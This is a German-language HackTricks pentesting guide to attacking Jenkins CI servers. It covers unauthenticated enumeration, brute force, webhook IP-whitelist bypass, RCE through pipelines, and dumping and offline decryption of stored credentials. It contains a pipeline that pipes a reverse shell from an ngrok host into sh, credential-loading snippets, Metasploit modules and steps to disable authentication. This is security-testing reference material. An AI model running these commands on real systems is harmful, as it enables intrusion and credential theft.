Jenkins Security

Unterstütze HackTricks

Grundinformationen

Jenkins ist ein Tool, das eine einfache Methode bietet, um eine Continuous Integration oder Continuous Delivery (CI/CD) Umgebung für fast jede Kombination von Programmiersprachen und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene Routine-Entwicklungsaufgaben. Während Jenkins die Notwendigkeit, Skripte für einzelne Schritte zu erstellen, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie manuell leicht erstellen kann.

Basic Jenkins Information

Unauthentifizierte Enumeration

Um nach interessanten Jenkins-Seiten ohne Authentifizierung zu suchen, wie (/people oder /asynchPeople, dies listet die aktuellen Benutzer auf), kannst du Folgendes verwenden:

msf> use auxiliary/scanner/http/jenkins_enum

Überprüfen Sie, ob Sie Befehle ausführen können, ohne sich authentifizieren zu müssen:

msf> use auxiliary/scanner/http/jenkins_command

Ohne Anmeldeinformationen können Sie im /asynchPeople/ Pfad oder /securityRealm/user/admin/search/index?q= nach Benutzernamen suchen.

Möglicherweise können Sie die Jenkins-Version im Pfad /oops oder /error abrufen.

Bekannte Schwachstellen

Anmeldung

In den grundlegenden Informationen können Sie alle Möglichkeiten zur Anmeldung in Jenkins überprüfen:

Basic Jenkins Information

Registrierung

Sie werden in der Lage sein, Jenkins-Instanzen zu finden, die es Ihnen ermöglichen, ein Konto zu erstellen und sich darin anzumelden. So einfach ist das.

SSO-Anmeldung

Wenn SSO Funktionalität/Plugins vorhanden sind, sollten Sie versuchen, sich mit einem Testkonto (d.h. einem Test-Github/Bitbucket-Konto) in die Anwendung einzuloggen. Trick von hier.

Bruteforce

Jenkins hat keine Passwortrichtlinie und keine Maßnahmen zur Minderung von Benutzernamen-Bruteforce. Es ist wichtig, Benutzer zu bruteforcen, da schwache Passwörter oder Benutzernamen als Passwörter verwendet werden können, sogar umgekehrte Benutzernamen als Passwörter.

msf> use auxiliary/scanner/http/jenkins_login

Passwort-Spraying

Verwenden Sie dieses Python-Skript oder dieses PowerShell-Skript.

IP-Whitelisting-Bypass

Viele Organisationen kombinieren SaaS-basierte Quellcodeverwaltungssysteme (SCM) wie GitHub oder GitLab mit einer internen, selbst gehosteten CI-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, Webhook-Ereignisse von SaaS-Quellcodeanbietern zu empfangen, hauptsächlich um Pipeline-Jobs auszulösen.

Um dies zu erreichen, whitelisten Organisationen die IP-Bereiche der SCM-Plattformen, die ihnen den Zugriff auf das interne CI-System über Webhooks ermöglichen. Es ist jedoch wichtig zu beachten, dass jeder ein Konto auf GitHub oder GitLab erstellen und es so konfigurieren kann, dass es einen Webhook auslöst, was potenziell Anfragen an das interne CI-System senden kann.

Überprüfen Sie: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Interne Jenkins-Missbräuche

In diesen Szenarien gehen wir davon aus, dass Sie ein gültiges Konto haben, um auf Jenkins zuzugreifen.

Je nach dem in Jenkins konfigurierten Autorisierungs-Mechanismus und den Berechtigungen des kompromittierten Benutzers könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.

Für weitere Informationen überprüfen Sie die grundlegenden Informationen:

Basic Jenkins Information

Benutzer auflisten

Wenn Sie auf Jenkins zugegriffen haben, können Sie andere registrierte Benutzer unter http://127.0.0.1:8080/asynchPeople/ auflisten.

Builds dumpen, um Klartextgeheimnisse zu finden

Verwenden Sie dieses Skript, um die Konsolenausgaben von Builds und Umgebungsvariablen zu dumpen, um hoffentlich Klartextgeheimnisse zu finden.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Diebstahl von SSH-Anmeldeinformationen

Wenn der kompromittierte Benutzer ausreichende Berechtigungen hat, um einen neuen Jenkins-Knoten zu erstellen/zu ändern und SSH-Anmeldeinformationen bereits gespeichert sind, um auf andere Knoten zuzugreifen, könnte er diese Anmeldeinformationen stehlen, indem er einen Knoten erstellt/ändert und einen Host festlegt, der die Anmeldeinformationen aufzeichnet, ohne den Hostschlüssel zu überprüfen:

Sie finden Jenkins-SSH-Anmeldeinformationen normalerweise in einem globalen Anbieter (/credentials/), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im Abschnitt Geheimnisse dumpen.

RCE in Jenkins

Einen Shell-Zugang zum Jenkins-Server zu erhalten, gibt dem Angreifer die Möglichkeit, alle Geheimnisse und Umgebungsvariablen zu leaken und andere Maschinen im selben Netzwerk auszunutzen oder sogar Cloud-Anmeldeinformationen zu sammeln.

Standardmäßig wird Jenkins als SYSTEM ausgeführt. Das Kompromittieren wird dem Angreifer SYSTEM-Berechtigungen geben.

RCE Erstellen/Ändern eines Projekts

Das Erstellen/Ändern eines Projekts ist eine Möglichkeit, RCE über den Jenkins-Server zu erhalten:

Jenkins RCE Creating/Modifying Project

RCE Ausführen eines Groovy-Skripts

Sie können auch RCE erhalten, indem Sie ein Groovy-Skript ausführen, das möglicherweise stealthier ist als das Erstellen eines neuen Projekts:

Jenkins RCE with Groovy Script

RCE Erstellen/Ändern einer Pipeline

Sie können auch RCE erhalten, indem Sie eine Pipeline erstellen/ändern:

Jenkins RCE Creating/Modifying Pipeline

Pipeline-Ausnutzung

Um Pipelines auszunutzen, müssen Sie weiterhin Zugriff auf Jenkins haben.

Build-Pipelines

Pipelines können auch als Build-Mechanismus in Projekten verwendet werden. In diesem Fall kann eine Datei im Repository konfiguriert werden, die die Pipeline-Syntax enthält. Standardmäßig wird /Jenkinsfile verwendet:

Es ist auch möglich, Pipeline-Konfigurationsdateien an anderen Orten (zum Beispiel in anderen Repositories) zu speichern, um den Zugriff auf das Repository und den Zugriff auf die Pipeline zu trennen.

Wenn ein Angreifer Schreibzugriff auf diese Datei hat, kann er sie ändern und die Pipeline potenziell auslösen, ohne überhaupt Zugriff auf Jenkins zu haben. Es ist möglich, dass der Angreifer einige Branch-Schutzmaßnahmen umgehen muss (je nach Plattform und Benutzerberechtigungen könnten sie umgangen werden oder nicht).

Die häufigsten Auslöser, um eine benutzerdefinierte Pipeline auszuführen, sind:

  • Pull-Request an den Hauptbranch (oder potenziell an andere Branches)

  • Push an den Hauptbranch (oder potenziell an andere Branches)

  • Aktualisierung des Hauptbranches und Warten, bis er irgendwie ausgeführt wird

Wenn Sie ein externer Benutzer sind, sollten Sie nicht erwarten, einen PR an den Hauptbranch des Repos eines anderen Benutzers/Organisation zu erstellen und die Pipeline auszulösen... aber wenn es schlecht konfiguriert ist, könnten Sie Unternehmen vollständig kompromittieren, nur indem Sie dies ausnutzen.

Pipeline RCE

Im vorherigen RCE-Abschnitt wurde bereits eine Technik angegeben, um RCE durch Ändern einer Pipeline zu erhalten.

Überprüfen von Umgebungsvariablen

Es ist möglich, Klartext-Umgebungsvariablen für die gesamte Pipeline oder für spezifische Phasen zu deklarieren. Diese Umgebungsvariablen sollten keine sensiblen Informationen enthalten, aber ein Angreifer könnte immer alle Pipeline-Konfigurationen/Jenkinsfiles überprüfen:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Für Informationen darüber, wie Geheimnisse normalerweise von Jenkins behandelt werden, siehe die grundlegenden Informationen:

Basic Jenkins Information

Anmeldeinformationen können globalen Anbietern (/credentials/) oder spezifischen Projekten (/job/<project-name>/configure) zugeordnet werden. Daher müssen Sie, um alle zu exfiltrieren, mindestens alle Projekte kompromittieren, die Geheimnisse enthalten, und benutzerdefinierte/vergiftete Pipelines ausführen.

Es gibt ein weiteres Problem: Um ein Geheimnis innerhalb der Umgebungsvariablen einer Pipeline zu erhalten, müssen Sie den Namen und den Typ des Geheimnisses kennen. Wenn Sie beispielsweise versuchen, ein usernamePassword Geheimnis als string Geheimnis zu laden, erhalten Sie diesen Fehler:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Hier haben Sie die Möglichkeit, einige gängige Geheimnisarten zu laden:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Am Ende dieser Seite können Sie alle Arten von Anmeldeinformationen finden: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Der beste Weg, um alle Geheimnisse auf einmal zu dumpen, besteht darin, die Jenkins-Maschine zu kompromittieren (zum Beispiel einen Reverse-Shell im eingebauten Knoten auszuführen) und dann die Master-Schlüssel und die verschlüsselten Geheimnisse zu leaken und sie offline zu entschlüsseln. Mehr dazu im Abschnitt Nodes & Agents und im Abschnitt Post Exploitation.

Trigger

Aus den Dokumenten: Die triggers-Direktive definiert die automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind triggers möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind cron, pollSCM und upstream.

Cron-Beispiel:

triggers { cron('H */4 * * 1-5') }

Check andere Beispiele in den Dokumenten.

Knoten & Agenten

Eine Jenkins-Instanz kann verschiedene Agenten auf verschiedenen Maschinen haben. Aus der Perspektive eines Angreifers bedeutet der Zugriff auf verschiedene Maschinen verschiedene potenzielle Cloud-Anmeldeinformationen, die gestohlen werden können, oder verschiedenen Netzwerkzugriff, der missbraucht werden könnte, um andere Maschinen auszunutzen.

Für weitere Informationen siehe die grundlegenden Informationen:

Basic Jenkins Information

Sie können die konfigurierten Knoten in /computer/ auflisten, Sie werden normalerweise den Built-In Node (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden:

Es ist besonders interessant, den Built-In Node zu kompromittieren, da er sensible Jenkins-Informationen enthält.

Um anzugeben, dass Sie die Pipeline im Built-In Jenkins Node ausführen möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben:

pipeline {
agent {label 'built-in'}

Vollständiges Beispiel

Pipeline in einem spezifischen Agenten, mit einem Cron-Trigger, mit Pipeline- und Stage-Umgebungsvariablen, die 2 Variablen in einem Schritt laden und eine Reverse-Shell senden:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read to RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy ScriptJenkins RCE Creating/Modifying ProjectJenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins-Geheimnisse

Sie können die Geheimnisse aufrufen, indem Sie auf /credentials/ zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse innerhalb der credentials.xml-Datei auflistet, aber Build-Konfigurationsdateien möglicherweise auch weitere Anmeldeinformationen enthalten.

Wenn Sie die Konfiguration jedes Projekts sehen können, können Sie dort auch die Namen der Anmeldeinformationen (Geheimnisse) sehen, die verwendet werden, um auf das Repository zuzugreifen, sowie andere Anmeldeinformationen des Projekts.

Aus Groovy

Jenkins Dumping Secrets from Groovy

Vom Datenträger

Diese Dateien werden benötigt, um Jenkins-Geheimnisse zu entschlüsseln:

  • secrets/master.key

  • secrets/hudson.util.Secret

Solche Geheimnisse sind normalerweise zu finden in:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Hier ist ein Regex, um sie zu finden:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkins-Geheimnisse offline entschlüsseln

Wenn Sie die benötigten Passwörter zum Entschlüsseln der Geheimnisse haben, verwenden Sie dieses Skript, um diese Geheimnisse zu entschlüsseln.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Entschlüsseln von Jenkins-Geheimnissen aus Groovy

println(hudson.util.Secret.decrypt("{...}"))

Erstellen eines neuen Administrators

  1. Greifen Sie auf die Jenkins config.xml-Datei in /var/lib/jenkins/config.xml oder C:\Program Files (x86)\Jenkins\ zu.

  2. Suchen Sie nach dem Wort <useSecurity>true</useSecurity> und ändern Sie das Wort true in false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Starten Sie den Jenkins-Server neu: service jenkins restart

  5. Gehen Sie jetzt erneut zum Jenkins-Portal und Jenkins wird diesmal keine Anmeldeinformationen anfordern. Navigieren Sie zu "Manage Jenkins", um das Administratorpasswort erneut festzulegen.

  6. Aktivieren Sie die Sicherheit erneut, indem Sie die Einstellungen auf <useSecurity>true</useSecurity> ändern und starten Sie Jenkins erneut neu.

Referenzen

Unterstützen Sie HackTricks

Last updated